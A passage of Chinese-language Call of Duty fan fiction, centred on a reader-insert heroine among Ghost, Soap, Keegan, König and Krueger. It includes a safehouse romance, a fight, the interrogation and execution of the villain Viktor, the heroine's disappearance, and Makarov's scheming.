“不行。”他声音沉下来,像在教新兵拆引信,“你得自己拿餐具,或者至少学会自己做。”
金属夹“咔嗒”敲在瓷盘边缘,“不能当等着投喂的宠物。”
“可你现在不也在做给我吃?”
“因为你还不会。”他突然俯下身与她平视,却把切好的火腿递到她唇边,“我可以喂你,但你必须学。”
焦香的肉碰到她牙齿时,他拇指蹭过她嘴角的油渍,“如果有一天没人能喂你了呢?”
Y/N慢吞吞地嚼着火腿,油脂的香气在舌尖化开。她歪着头思考时,额前的碎发垂下来,
她舔了舔嘴角,“那就找会喂我的人?”
“可会喂你的,你不知道他喂给你的是食物,还是废料,甚至是毒药。”
说完,Keegan的眼神暗了下来,他将餐盘推到她面前,“如果我在这里面下毒怎么办?”
她忽然伸手,指尖沾了盘底的肉汁,直接放进嘴里吮了吮,“嗯,也是,你说的对。”
她的目光扫过厨房里悬挂的刀具,砧板上未干的菜叶,突然发现了什么,踮脚从橱柜里摸出一罐蜂蜜,“虽然我不吃东西,似乎也不会死。”
金棕色的液体缓缓流淌到指尖,她伸出舌头舔了舔,眼睛立刻亮起来。
“你们的世界弯弯绕绕太多,我看不明白,但如果我能学会分辨美味。”
她指尖蘸着黏稠的蜂蜜,在Keegan面罩上的唇线位置划过,“毕竟尝过好的味道,就不会那么容易接受坏的了吧?”
Keegan盯着Y/N端着盘子蜷进沙发的背影,面罩上的甜腻缠绕着他的呼吸。
他的舌尖突然抵上内衬,凯夫拉纤维的缝隙间,渗入的蜜糖正缓慢结晶。
这个违背所有战术手册的动作,让他尝到了复合材料的苦味,可他却觉得是甜的。
两人一前一后踏入安全屋,Konig早已将自己反锁在房间里,死寂得像间停尸房。
Ghost和Soap在休息室的地图前谋划,红蓝标记笔勾勒出维克多可能藏身的每个角落。
“仙女教母你终于回来了,我们,”Soap瞥见Ghost起身离开的背影,鼻腔里挤出一声冷哼,“是我,只有我担心你。”
Ghost声音像刀刃刮过金属,“我们得尽快先解决掉维克多,最迟后日动手。”
他停下脚步,看了眼Y/N下身套的肥大裤子和袜子,转过身对Keegan说道,“Sergeant, is your team in position?(中士,你的小队就位了吗?)”
Soap对着那袭消失的骷髅面罩翻了个白眼,转而拍了拍Keegan的肩膀,“别搭理他,那个Spooky(阴森佬)不知道发什么神经。”
他腹诽着Ghost突然那股子居高临下和阴阳怪气的劲儿。是,这英国佬是SAS中尉,可Keegan是正儿八经的美军特种部队,又不是他手底下的兵。
Keegan对此毫不在意,只是平静地说道,“走吧,是我耽误了时间。我去问问作战计划。”
他们三人朝餐厅走去,Y/N却没有跟上。她仍抱着那罐蜂蜜,转身去敲Konig的门,“小熊,有好吃的。”
门内原本一片死寂,突然传来一阵凌乱的响动。像是椅子被撞翻,什么东西砸在了地上。紧接着,沉重的脚步声急促地冲到门前。
门开了,Konig高大的身影堵在门口,脑袋低垂,几乎要抵着门框,像个做错事的孩子般看着她。
“我…..我以为...”他的声音闷闷的,带着不安的颤抖,“我以为你生我气了...我不该...”
Y/N直接把蜂蜜罐塞进他怀里,“给你的。”说完转身就往餐厅走。
Konig愣在原地,这才意识到她根本没有生气,她对待他的态度和平时一模一样。
他立刻捧着蜂蜜罐亦步亦趋地跟在她身后,甚至偷偷低头,嗅了嗅她发丝间淡淡的香气。
两人刚走到餐厅门口,安全屋的大门突然传来一声震耳的撞击声。Ghost的猛然抬头,浓重的铁锈味瞬间刺激着他的神经,那是新鲜血液特有的腥甜。
他几乎是本能地拔枪上膛,一个箭步挡在Y/N面前,靴子在地板上碾出尖锐的摩擦声。
沉重的拖拽声,伴随着黏腻的液体滴落声,逐渐逼近,血腥味浓得几乎凝成实质。
当拐角处的人影终于出现时,众人看到的了一身是血的Krueger。他粗喘着气,手里攥着一只成年麋鹿的犄角,身后拖着的庞大躯体在地板上划出长长的血痕。
“Hey,Katzchen,想吃肉就过来。”
Soap吹了声口哨走上前,“哈!你这条疯狗确实有点用。”
Keegan和Ghost站在原地没动,只是暂时将武器收了回去。Konig紧跟Y/N身后,如同她的影子,她往左,他就绝不会往右。
Y/N蹲下来检查那头鹿,脖颈处只有一道干净利落的切口,没有多余的痛苦痕迹。她伸手握住其中一根鹿角,准备和Krueger一起拖动。
Konig见状,立刻把怀里的蜂蜜罐往她手里一塞。
等Y/N抱着蜂蜜罐还没反应过来,Konig已经俯身抓住鹿角,肌肉绷紧的瞬间就将整头鹿扛上了肩头。那庞大的猎物在他肩上轻若无物,他迈着稳健的步伐朝厨房走去。
突然,所有人都感到了一丝诧异,不是因为konig搬动了麋鹿,而是因为Y/N的眼亮了起来,嘴角扬起了足够大的弧度。
她极少有明显的情绪起伏,除了对热可可的关注以外,对其他事总是淡淡的。
可此刻她竟然小跑着跟在Konig身后,脚步轻快得几乎要跳起来。Krueger见状先是一愣,接着嗤笑出声,大步上前揪住她连帽衫的后领。
“Katzchen,你这小没良心的。鹿可是我猎的,你倒好,开开心心跟着那怂包走?”
他俯身凑近,热气透过面罩喷在她耳畔,“是不是该给我点奖励?”
Keegan不悦地皱眉,上前一把将衣服后领从Krueger手里扯出,反手把她揽到身后。
“离她远点。”
这一拽却阴差阳错让她跌进了Ghost的领域。Y/N抱着蜂蜜罐晃了晃,迟钝的神经还没反应过来失衡的身体,整个人向前栽去。
Ghost反应极快,他侧身避开,压根没打算伸手去接。这女人的本事总不至于连站都站不稳。
可偏偏,她真就直挺挺摔了下去。
陶罐在掌心炸开,锋利的碎片割开一道狭长伤口。血瞬间涌出,虽不及上次玻璃划得深,却也淌满手掌。而她仍死死抱着碎陶不肯松手。
蜜糖与鲜血混在一起,黏腻地纠缠着她的皮肤,衣襟,甚至发丝都凝成绺。
“Bloody hell!”
Ghost的咒骂声未落,手已钳住Y/N的手腕将她猛地拽起,陶罐砸在地上碎裂的声响被他刻意忽略。
他甩开残片的动作近乎粗暴,但手指在她肘关节的触碰却短暂地多停留了半秒,足够确认骨头没裂,又迅速收回。
“你是傻子还是疯子?”
Konig一见她摔倒,立刻扔下肩上的鹿冲了过来,巨大的身躯几乎撞开挡路的Soap。“Y/N!你...你流血了!”
他们都见过她更深的伤口,哪一道不比这个狰狞?
可在他们眼里,那些是敌人留下的印记。而此刻,她竟因为一罐蜂蜜,一次再普通不过的踉跄,就让自己见了血。
这种近乎荒谬的日常性创伤,反而让这群习惯枪林弹雨的男人手足无措。
但Ghost不是第一次见到她这样了,战场外的血让他烦躁。
那些子弹贯穿伤,刀疤,至少能用“任务必要”来解释。但她膝盖上的擦伤,身上的血和蜜糖,太像活人会犯的蠢,像他很久以前在伦敦街头见过的,某个摔了冰淇淋的小孩。
而他最恨“像人”的东西。未等其他人反应,Ghost已经扣住她的手腕,近乎拖拽地将她扯进最近的宿舍。
“我有事要问她。”他的解释简短而生硬,随后便是震耳的摔门声。
宿舍内,Ghost一把扯开急救包,纱布重重按在她掌心,布料浸血的速度让他皱眉。
“第一次是不看路撞玻璃,”他声音冷得像在审讯室,每个字都像冰雨。
纱布在他指间勒紧,“上次是咬自己放血。这次是抱着碎陶罐当宝贝。”
他忽然捏住她下巴迫她抬头,拇指却以完全相反的力道,轻轻蹭过她脸颊,那里有道连她
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自己都没发现的血痕。
“下次准备用什么?拿叉子捅太阳穴?”
Y/N看向那双骷髅面具下漆黑的眼,她看不到任何表情,听不出任何情绪。她的直觉在眼前这个男人面前,总是不准确。
她摸不清他,就像她一直也没摸清北坡那只灰狼偷偷来找她,到底为了什么。
“你生气了?”
“呵,我为什么要生气?” Ghost又扯出新的纱布,按在她的伤口上,“你喜欢把自己搞成血人,跟我无关。”
Y/N突然凑近,几乎贴在他的面具上,鼻尖几乎蹭到那冰冷的骷髅表面。她盯着他,试图从那双漆黑的眼底后找到一丝波动。
Ghost的瞳孔微震,但身体纹丝未动,连后退的本能反应都没有,只是顺着她的视线,平静地回望过去。
“别把你身上的血和糖浆,弄到我的Old Bones(老骨头)上。”
Y/N退了回去。
那一瞬间,她忽然觉得,Ghost或许根本没有戴面具。
那副骷髅,就是他的脸。
而现在,他就是在生气,或者不舒服,在求慰抚,像小熊那般。
“你希望我帮你呼吸吗?”
Ghost当然听不懂她在说什么,也没再抬头看她的脸,注意力全放在她手上的伤。
“哈,你帮我呼吸?” 他短促地冷笑了一下,纱布缠过她的指节,力道不轻不重,“你还有这项功能?”
Y/N任由他抓着自己的手检查,视线却仍落在他的脸上。
上半张脸是冷硬的骷髅,从额头覆盖到鼻梁,而鼻子以下,是一层柔软贴合的黑色织物,轻薄得像第二层皮肤。他的整个头部都被黑暗包裹,再被白骨覆压。
她似乎听出男人话里藏着什么,弯弯绕绕的,像在掩饰。
“你确定不用?”
这时,Ghost从鼻子里沉沉哼出一口气,那层紧贴在身上的作战内衫下,胸膛有明显的起伏,像是被她逼到无话可说。他终于再次抬起眼,盯住她。
“行啊,你来帮我呼吸。” 他的嗓音低哑,带着一丝嘲弄的意味,“我倒要看看,你,”
话音未落,Y/N直接吻了上去。
不是试探,不是贴近,而是真正的吻。
她昨晚从小熊那儿学来的,要由轻到重,先轻轻舔舐,像啜饮杯底最后一口热可可,再含住杯沿,吮尽最后一丝甜腻的余韵。
Ghost彻底僵住了。
操!这大概是他人生中第一次体会到什么叫“懵”。等他终于从空白中回神,本能地想要一把推开面前的女人时。
面罩下的唇却已经感受到了湿润。
她的舌尖正缓慢描摹着他的唇线,轻柔却固执地抵进那层织物的缝隙间。
他甚至能感觉到,她含住了他的下唇,像在品尝,又像在确认什么。
Ghost的眼神暗沉下来,他猛地起身,一把掐住她的脖颈将人狠狠抵在墙上,一条腿强势地跨上床,膝盖压进她身侧的床垫。
折叠床发出不堪重负的咯吱声响,仿佛下一秒就要坍塌。
骷髅里的男人眯起眼,居高临下俯视着她,眸底翻涌着骇人的暗色。Y/N没有挣扎,因为那只扼住她喉咙的手掌,根本没有用力。
“谁教你的?” 他嗓音低哑,一字一顿,“说、名、字。”
Y/N困惑地眨了眨眼。或许是她学得不够好?明明小熊很享受这样,甚至兴奋得不得了。
可她现在身上黏糊糊的不舒服,她抬手搭上Ghost绷紧的手臂,想推开那还黏着蜂蜜与血渍的手。
“我做得不好?”
Ghost的手掌突然收紧,彻底覆上她的下颌与脖颈。那些甜腥交缠的粘液,从他的指缝渗进她的皮肤,将两人的呼吸都染上灼热。
他垂眸扫过自己腿间绷紧的线条,喉结滚动,突然毫无预兆地加重力道,
他能听见自己指骨咯吱作响,却分不清碾过喉管的究竟是杀意,还是某种更晦暗的躁动。
Y/N察觉到脖颈上的力度,她并不喜欢被压制的感觉,反手一拧,借势将Ghost狠狠掀翻在地,跨坐上去,染血的手掌直接抵住他的咽喉。
可力量终究不敌重量。
Ghost只是讥诮地翻了个白眼,左手钳住她手腕一拧,右手已扣住她膝窝向上一掀,天旋地转间整个人被凌空托起。
Y/N屈膝猛击男人肋下,却被对方格挡出沉闷的撞击声,她借力后跃落地。
Ghost低笑出声,颈骨咔咔作响地转了转。
“来吧小公主,”他扯开护膝甩到一旁,“我还没和妖精打过呢。”
走廊拐角处,屋内传来的撞击声像拆房子般剧烈,Krueger舔了舔犬齿笑出声,小野猫亮爪子了啊。
血渍斑驳的麋鹿尸体被愉快地拖向厨房。
房间内,局势已然逆转。
Y/N被Ghost彻底压制在地,他的双腿死死压住她的双臂,让她连挣扎的余地都没有。
狭小的空间限制了Y/N那狂野却毫无章法的攻击方式。Ghost居高临下地俯视着她,目光一寸寸碾过她的脸,像是在研究某种罕见的生物。
而令他意外的是,她竟慢慢皱起了眉。
Ghost挑了挑眉。这女人在不爽?这倒是今天第二次在她脸上看到情绪波动。
不过,他心知肚明,若是在野外,胜负还真不好说。她的攻击方式诡谲多变,像是融合了无数野兽的本能,力量与冲击力都强得惊人,却毫无技巧可言。
在这种逼仄的空间里,她的破绽暴露无遗。
更何况。
他垂眸扫了眼身下的人,那纤细的胳膊和腿,仿佛稍一用力就能折断。
“教我。” 她突然开口。
Ghost嗤笑一声,收腿放开她,懒散地靠墙坐下,顺手检查了下她的伤口。
Y/N立刻像只狐狸般敏捷地爬起,直接钻到他岔开的双腿之间,仰头盯着他。
“教我。” 她重复道。
Ghost抬手按住她的脑门,把她往后推了推,“求我。”
“好。”
他气笑了,“好什么好?让你求我,你这回答倒像是我求了你。”
“怎么求?” Y/N歪了歪头,蜂蜜和血丝还黏在她脸颊上。
Ghost盯着她看了两秒,突然伸手掐住她下巴,拇指重重碾过她的唇角。“跪直了,”
他嗓音沙哑,“You said, Sir, please teach me.”(长官,求您教我。)
Y/N眨了眨眼,突然一把抓住Ghost的手腕,朝他被自己弄伤的拇指吻了下去。还像幼兽确认气味般,用舌尖不轻不重地舔了舔。
Ghost呼吸粗重。
她松开嘴,舌尖舔掉他指腹的血迹,蜂蜜的甜腥在唇齿间化开,“Sir, please teach me”
床板在之前的打斗中早不堪重负,却在此刻发出了突兀的断裂声。
“….Fucking Hell…..”
而Ghost盯着自己湿漉漉的手指,第一次觉得,这女人可能真的会要了他的命。
16. 自娱自乐
浴室外的走廊上,Konig像个门神般杵在门口,手指无意识地抠着战术手套的缝线,时不时扯一下领口,尽管那根本勒不到他。
他的目光死死钉在浴室的门把手上,仿佛能透过磨砂玻璃盯出个洞来。
他想不通。为什么Y/N非要让Ghost训练她?难道她觉得自己护不住她吗?
他当然认可Ghost的能力,那骷髅面罩下是实打实的死神,可他也曾为她挡过子弹,虽然那次差点害她多挨一枪。
休息室内,Keegan用匕首尖戳着地图上的高加索山脉,“问题在于,马卡洛夫没有固定据点。他像只蟑螂,在冲突地区的废墟和地下管道钻。”
Soap立刻插嘴,这问题他早问过Ghost了,现在正是显摆的好时机。
“他们现在被钉死在这片区域了。北七舰队封了黑海,连条走私艇都溜不出去。”
他得意地弹了下胡子上的饼干渣,“除非马卡洛夫能让那个书呆子,48小时内把东西制造出来。”
“他们还在山脉南麓的废弃矿井。”Ghost突然开口,指节敲了敲地图上被红圈包围的坐标,“卫星热源图不会撒谎。”
他的音调是漫不经心的沉稳,“明天先去踹维克多的狗窝。”
Soap摸了摸下巴:“Konig会服从命令,但Krueger那条疯狗?他肯定直奔马卡洛夫。至于维克多这边?”
Ghost冷笑一声,“放心吧,那条野狗会去的。”
“你怎么确定?”Soap眯起眼睛。
是了,Keegan也突然想起在屠宰场,Y/N被维克多放在身上,Krueger那时的眼神。
Ghost的指腹慢条斯理地划过匕首刃,“偷过豺狼食物的人,从来活不过雨季。”
第二日,天还没亮。
安全屋门口,Y/N被几道高大的身影堵得严严实实。Keegan低头看她,战术面罩的阴影遮住了他半张脸,只露出一双冷灰色的眼睛。
“Lassie(小姑娘)” 他的声音压得很低,像是怕吵醒什么似的,“你就呆在这,回来我教你做三明治,好吗。”
“我也去。”
Ghost咔哒一声扣下护目镜,镜片反射着微弱的晨光,将他那双眼睛彻底遮住。“你不是现在要睡觉吗?夜行动物。”
Konig在旁边局促地捏着战术背心的肩带,声音蒙在粗布里小得几乎听不见,“可、可是……我们过去要很久……飞机落地后还得徒步……刚好半夜……”
Ghost头也不回地丢下一句,“别当累赘。受伤了没人管你。”
Y/N追上去,拽住他的胳膊。“我不是都叫你长官了?你说话不算数?”
Soap靠在墙边抽烟,吐出一道烟圈,笑得幸灾乐祸:“嘿,骷髅头,你这是一天天犯什么病呢?指挥瘾都过到我的仙女教母身上了?”
Krueger本来已经跨上摩托,引擎都轰响了,看见她跑出来,又慢悠悠地熄火,从车上下来。
他斜倚在摩托边,似乎换了个面罩,将头部完全遮住了,连眼睛都看不见。
Krueger朝她勾了勾手指,“Katze,你要他同意干嘛?过来,跟我走。我们骑摩托去,你不是喜欢坐摩托?”
Y/N突然有点烦躁,为什么她要听这些人的话?从一开始就是,好像被这些人牵着鼻子走。
她完全可以自己出去找乐子,人类世界那么大,她又不是非得跟着他们才能看到有趣的东西。
可她又隐约觉得,自己执意想跟着他们,不仅仅是为了刺激。
或许是因为她从未有过这种感觉。像是被需要,又像是被排斥。像是被保护,又像是被推开。
她站在原地,胸口堵着一股无名火,却连自己都说不清为什么。但无论是什么,她不想再跟他们一起玩了。
几个大男人还没反应过来,Y/N已经一跃而起,身影瞬间消失在阴影里。
击杀维克多完成得极快,但所有人的注意力都被他临死前的话钉在原地。
“哈哈哈……那个女人在你们那儿吧?” 他咳着血沫,咧开染红的牙,“呵,希望你们能守好了。”
Keegan在高处狙击点,透过瞄准镜死死盯着他的唇语,十字线压在他的喉结上,指节绷紧。
Ghost的枪口重重抵上维克多的眉心,金属撞骨的闷响里,他的声音就如脸上的骷髅。
“你最好现在说清楚,毕竟这是你死前最后能动的舌头了。”
枪管一斜,指了指墙边蹲着狠狠看着维克多的Krueger,
“那条Tollwutiger Koter(狂犬狗)就是你最爱的Fleischmeister(肉匠大师),把话吐干净,我赏你一颗子弹,比他的刀快。”
Ghost逼供的手段向来高效。十分钟后,维克多知道的一切,被撕扯成零碎的真相,摊在所有人面前。
Ghost说到做到,抬枪,瞄准,扣扳机,一气呵成,子弹精准贯穿对方眉心,根本没给Krueger留下虐杀的余地。
就在Ghost转身的刹那,Krueger的匕首已经捅进尸体的侧腹。
刻意避开脏器的位置,刀刃在肌肉与肋骨间拧转,发出闷响。血喷溅在面罩上,喉咙里滚出低笑。
Ghost的脚步顿住,连头都没回,只是侧过脸,护目镜的冷光斜映在血泊里。
“How artistic(真是艺术啊)”
他的嗓音像在评价一场拙劣的歌剧,尾音甚至带了点虚伪的赞叹。说完,靴跟碾过地面半凝固的血,径直离开,背影毫无防备。
“Du hast nicht das Recht, mich herabzusetzen, Militarhund. Deine Kopfschusse sind so vorhersehbar wie ein Dienstplan.”(你可没资格贬低我,被驯服的一条狗,你的爆头和值班表一样乏味可预测)
他盯着Ghost毫无防备的后颈,对方连戒备的姿态都懒得摆,彻底的无视。
仿佛他Krueger只是个管不住脾气的劣童,连背后开枪的威胁性都够不上档次。
他收回匕首,连鞭尸的心情都没有了。
Verdammt, eines Tages werde ich diese verdammten Knochen zermalmen und verschlingen!(妈的,总有一天要把这根骷髅骨头嚼碎了吃了!)
任务结束后的回程中,没人开口,但所有人的思绪都在同一件事上,得回去确认Y/N的去向。
或许她只是出去透口气,她现在应该只是像往常一样,窝在安全屋的沙发里,捧着一杯热可可。
可当他们推开安全屋的门,空无一人。
在周围寻找Y/N二日仍无果之后,Price的通讯打来了。
加密的通讯频道里能听见他点燃雪茄的杂音,
“Ghost,听好了。情况比我们想的更糟。”
“马卡洛夫的人正在东欧全线活动。武器、资金、训练营,情报显示他拿到了维克多的旧网络,而且玩得更脏。”
Ghost冷声,“具体坐标是否还在山脉矿洞?我们需要切入点。”
那头传来price敲击键盘的声音,“我猜是的。加格勒的废弃工厂,第聂伯罗的货运码头等等,全是幌子。这杂碎学聪明了,把指挥节点拆成了蜂窝。但有一件事没变,他需要观众。”
price压低声音接着说道,“SOG截获的通讯提到一个代号铁砧的行动,48小时内。我赌他会再搞一次表演。”
Ghost沉声道,“需要我带小队提前渗透吗?”
“不。这次我们放长线。全员待命,但你先去敖德萨找渡鸦,那老家伙在马卡洛夫内部埋了钉子。拿到名单后我们给他的人来个点名。”
“记住,Ghost,马卡洛夫喜欢陷阱。别踩进去,让他自己撞上来。”
可谁也没料到,维克多的陨落,竟成了马卡洛夫的崛起。那些曾经效忠于维克多军火帝国的残党,如今纷纷倒向那个更危险的疯子。
维克多是个商人,尽管他贩卖死亡,但至少遵循规则。
他追求权力,制造混乱,却也懂得克制,始终维持
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着某种平衡。可以说,他是黑暗世界的实用主义者,是可控的恶。
而马卡洛夫不同。他不在乎金钱,不在乎秩序,他唯一渴望的,就是让整个世界在烈焰中崩塌。
任何与他理念相悖的存在,都必须被彻底抹除。他的疯狂没有底线。
维克多的死让地下秩序崩坏,马卡洛夫却用 “绝对疯狂” 填补了所有。
而Y/N,消失了,彻底消失了。没有信号,没有踪迹,甚至连一丝气味都没留下。
Krueger和Konig已经去寻找她,但Ghost知道他们不会按规矩来,现在,他们最不需要的就是打草惊蛇。
所以,他让Soap和Keegan也跟了上去。至少这两人知道什么叫“低调行事”。
至于他自己,渡鸦的接头时间快到了。
既然维克多都能掌握关于Y/N的部分情报,如今马卡洛夫不仅接管了维克多的一切,更掌控着全球的地下暗线,或许能从马卡洛夫那里获得意想不到的信息。
几日过去,Y/N的踪迹依然成谜,整个安全屋笼在一种紧绷的沉默中。
四名猎人,一个目标,却谁也没能找到她。没有新情报,没有突破口,只有 “必须等待” 的煎熬。
他们都感到不安,因为维克多临死前的话。所有线索都指向一个荒谬却无法忽视的事实。
军方,PMC,黑市佣兵,情报组织,所有关于Y/N的追捕任务,似乎全都来自同一个源头。
某个藏在暗处的存在,正在用无数双手编织一张巨网,而Y/N就是网中央的猎物。
他们?连敌人是谁都不知道。
然而现下他们不能贸然行动,万一Y/N需要支援时,他们却因冲动而落入陷阱,那将是彻底的失败。
自出发寻找 Y/N 那日起,Krueger再无音讯,他本就无意与他们合作,只为找人。他决定找到小猫后,就把她捆起来带走,带到任何人都发现不到的地方。
而Ghost每日从早到晚泡在靶场,子弹壳堆成小山,仿佛只有枪声能压住他内心的焦躁。
Konig被Ghost的命令召回,在他本该参与作战计划时,却把自己锁在房间里,毫无动静。
Keegan独自窝在小木屋里,他盯着钉在木墩上的箭羽发怔,想着或许她会回来,想办法把这个屋子偷走。
安全屋里的空气凝滞得几乎能拧出水来。
Soap似乎是眼下唯一还保持理智的人。
他盯着 Ghost,声音压得极低,却字字如刀,“我们不能干等着,必须尽快找到 Y/N。赶在端掉马卡洛夫老巢之前,先把她送到安全的地方。”
Ghost沉默片刻,眼神冷得像冰。他缓缓开口,嗓音沙哑。
“不,现在最好的办法是直接杀进马卡洛夫的老巢,从他嘴里撬出有关Y/N的信息,她才能真正安全。现在贸然去找她,只会把战线拉长,让她更危险。”
Keegan也认可Ghost现在的观点,他缓缓点了点头附和道,
“而且,她现在在普通人的世界里,反而更安全。只要有任何风吹草动,我们立刻就能察觉。”
他顿了顿,语气笃定接着说,“以她的能力,在人类世界自保绰绰有余。”
Soap无语的猛地站起身,拳头砸在桌上,声音陡然拔高,看着这两个男人。
“你们怎么就不担心?!她对这个世界几乎一无所知!她连裤子都不知道穿,你们以为她对性别,对危险有概念吗?!这世界的男人,”
话未说完,一股无形的低气压骤然压下,硬生生掐断了他的话。
Ghost和Keegan的手都攥紧成拳,指节泛白,青筋暴起。Ghost死死盯着地板,胸口剧烈起伏。
是啊,Fucking Hell!他怎么忽略了这一点?
Y/N根本不懂人类世界的规则。
她会不会随便给人治疗?会不会毫无防备地问陌生人“你需要呼吸吗?”
Ghost猛地站起身,椅子被撞翻在地,发出一声巨响。
Soap说的对,不能再等了。
必须找到她。
立刻。
17. 自娱自乐
西伯利亚的矿洞深处
化学家被囚禁在冰冷的牢房里,四周是粗糙的岩壁和锈蚀的铁栅栏。然而,他的眼神中没有恐惧,只有一种近乎冷漠的平静。
当马卡洛夫站在他面前时,他抬起头,声音清晰。
“我可以帮你,但我要一个人。”
马卡洛夫的脸在昏暗的灯光下显得更加削瘦,棱角如刀刻般锋利。他的眼睛里只有阴鸷,轻蔑和暴戾,除此之外,空无一物。
他站在一间毫无装饰的混凝土房间里,惨白的灯光从头顶洒下,照在长桌上密密麻麻的监控屏幕上。
画面里,铁塔在硝烟中倒塌,军舰在爆炸中沉没,街道在烈火中燃烧。
马卡洛夫盯着那些屏幕,面无表情。化学家的话让他想起,就在几天前,还有另一个人找过他。
他深知自己是意识形态的暴君,而对方,则堪称这个世界的幕后操盘手。
那个神秘人曾委托他寻找一个女人。
起初,神秘人通过政治家联系军方,承诺只要交出那个女人,他愿意拱手相让那片令全世界垂涎的富饶土地。
政治家当然不惜动用军方,和PMC等各方力量追捕那个女人,却始终未能得手。
当马卡洛夫看到照片时,眼中闪过阴冷的笑意,这不正是化学家指名要的那个,跟在那支特种小队身边的女人吗?
冷光映在男人阴鸷的脸上,嘶哑的声音在房里回荡,“有趣。”
化学家蜷缩在角落,不惜做自己国家的叛徒,仍保持着诡异的镇定。神秘人许诺的土地足以让任何军阀或国家疯狂,可关于这个女人他们都选择了沉默。
这个女人是什么,为何所有人都对她讳莫如深,越是隐瞒,就越说明她的价值非同寻常。
牢房顶端的监控探头转动着,将画面传回那个布满屏幕的房间。
马卡洛夫凝视着一段偷拍的黑市录像。画面中,一个女人在角斗场上,正将Krueger逼至绝境。
“价值?”他突然将照片揉成一团,“不,这是弱点。”
所有人都想得到她,就意味着所有人都能被她要挟。
敖德萨,凌晨3:17。
Ghost扫了眼腕表,一声低沉的吐息从喉间滚出,那女人这会儿在哪儿?不过这时间,精神头应该正旺。
雨水冲刷着废弃港口的铁皮仓库,Ghost站在阴影里,夜视镜滤出一片幽绿的世界。
耳麦里,Price的呼吸声混着电流杂音,像某种不安的预兆。
“渡鸦的位置更新了。” Price的声音压得很低,“第三仓库,但小心,马卡洛夫的人可能已经盯上他了。”
Ghost没回答,只是轻轻敲了两下麦克风,示意收到。
他的靴子踩过积水,无声接近目标地点。仓库门虚掩着,里面透出一丝微弱的光。
太明显了,像是故意留下的破绽。Ghost的拇指拨开手枪保险。贴着墙滑进去,枪口先于身体探入黑暗。
仓库里堆满了发霉的军火箱,空气里飘着火药和血腥味。
渡鸦,一个头发灰白的东欧老情报贩子,瘫坐在角落,胸口插着一把匕首,血已经浸透了衬衫。
他还活着,但瞳孔已经开始扩散。
Ghost蹲下来,手指按在他的颈动脉上。渡鸦的嘴唇动了动,声音嘶哑得像砂纸摩擦,“名单……在……通风管道……”
Ghost抬头,看向天花板上的金属网格。
渡鸦突然抓住他的手腕,力道大得惊人。
“他们……知道你会来……” 他咳出一口血,“铁砧……不是袭击……是清洗……他的人……也要死……”
Ghost的眼神一凛。马卡洛夫刚得到维克多的人,就要杀掉?他连自己人都不放过?
通风管里的微型存储器沾满灰尘,但数据完好。Ghost快速浏览着屏幕上的名字,十几个马卡洛夫的核心成员,分布在整个东欧的暗桩。
Price的声音在耳麦里响起,“收到数据了。但Ghost,这不对劲。”
“渡鸦说铁砧是清洗行动。” Ghost低声道。
“那就更糟了。” Price的嗓音沉了下去,“马卡洛夫在清理门户,说明他要收缩势力,准备更大的东西。”
当Ghost回到临时据点时,通讯再次接入。
Price的声音带着冷意,“马卡洛夫刚刚激活了一个加密频道,他在找什么东西,急疯了。或许是化学家需要的装备,也或许是别的什么。”
Soap的声音从通讯器里另一个频道传来,
“Ghost,我刚黑进几个PMC的任务数据库,所有关于Y/N的悬赏,指令来源都是加密的,但付款账户全都指向同一家影子银行。”
Keegan嗓音低沉,罕见地带上了一丝不安,“我这边也是。而且关于那处坐标的任务不是最近发布的。有些早在几个月前就存在了,并且只让观察坐标而已。”
频道内一片死寂。
Konig失去冷静,抓狂般的喊叫,罕见的连结巴都停止了,“几,几个月前?不可能!那时候,我甚至还没听说过这个任务!”
Krueger嗓音沙哑,像是喉咙被什么掐住,“HOL'' DIE SCHEI?E!他们早就开始找她了?Verdammt!老子接过的黑活比你们这些军犬还多,可连我都不知道?”
“这些任务被埋得很深,不是公开悬赏,而是直接下达到特定小组,甚至可能是私人武装。”
Soap的声音紧绷,他顿了顿低声补充,“而且,执行过这些任务的人,后来都消失了。”
频道再次陷入沉默。
Ghost缓缓开口,声音冷硬,“所以,我们不是在找她,我们是在和某个早就盯上她的东西抢时间。”
“分头行动,扩大搜索范围。你们两条疯狗去查PMC内部的黑档案,看能不能挖出更多线索。”
短暂沉默后,Ghost冷声下令,
“行动。别踩进陷阱。对方比我们更了解她。”
Soap突然压低声音,“等等……我刚发现一件事。这些任务的发布时间,全都集中在同一天。像是有人在那一天,突然决定要找到她。”
“或者,那一天,他们终于确认了她的存在。不管是谁在幕后,这不是临时起意!”
konig突然想起什么大喊,“对,对了!Y/N给我说过,在我们,我们接到任务前一周,SCHEIBE!她救过,救过一个男人!”
Ghost眼神骤然一冷,“呵,看来是去确定地点的。”
频道内,无人再说话。但所有人都明白,他们正在和某个远比PMC,军方甚至黑市更可怕的力量对抗。
而Y/N,或许从一开始,就不是他们能轻易触及的秘密。
如果真是这样,没时间了。他们必须赶在那个人之前找到她,藏起她。或者,杀了所有想带走她的人。包括那个至今仍藏在幕后的“棋手”。
而Y/N自从那日离开后,便开始漫无目的地晃悠,她虽分不清东南西北,但能感知得到山林的方向。
她像片被风卷着的落叶,直到晃到马路边缘。
轮胎碾过沥青的闷响里,有位红发司机停下车,摇下车窗问她要去哪。
“随便哪里。”她答。于是好心人载了她一程。
车窗外的楼群逐渐低矮,Y/N始终感觉胸腔里堵着团潮湿的棉花,心想就这样晃回到山林里吧。
红发女人赛琳娜,听完她含糊的“流浪旅游”计划后,没把她丢在霓虹刺眼的城市,轮胎最终停在一座老镇的石板路上。
“漂亮姑娘,”赛琳娜的指尖在方向盘上轻叩,“在这儿瞎逛到世界末日也没关系。镇上人都认识我这头红毛,谁要是烦你,就说你是赛琳娜的东方朋友,祝你好运。”
她学着对方的语调呢喃,“祝你好运。”这句话像块被太阳晒暖的石头,突然硌在心里。
这座镇很小,很安静。她脱下Keegan给她穿的袜子,赤脚踩在石板路上。
凉意从脚底漫上来,石板被岁月打磨得光滑,这种触感是她从未体验过的。
入夜后,Y/N像只猫一样轻盈地跃上低矮的屋顶。
从一个房顶跳到另一个房顶,她能听见下面屋子里传来的各种声音,欢笑声、抽泣声、争吵声,还有咿咿呀呀说不清道不明的声响。
在月光下,这些紧挨在一起的房屋像一群蜷缩的小熊。
当夜色笼罩时,它们黑乎乎地挤作一团,而当窗户亮起灯光,又变得毛茸茸的可爱。
就连那些断断续续,乱七八糟的声音,也像是小熊会发出的哼唧。
但她心里想了想,只是,这些房子都紧挨着取暖,而小熊却只有自己一个。
Y/N没有在这个小镇久留。很快,她又看见了火车,毫不犹豫地跳上车顶。
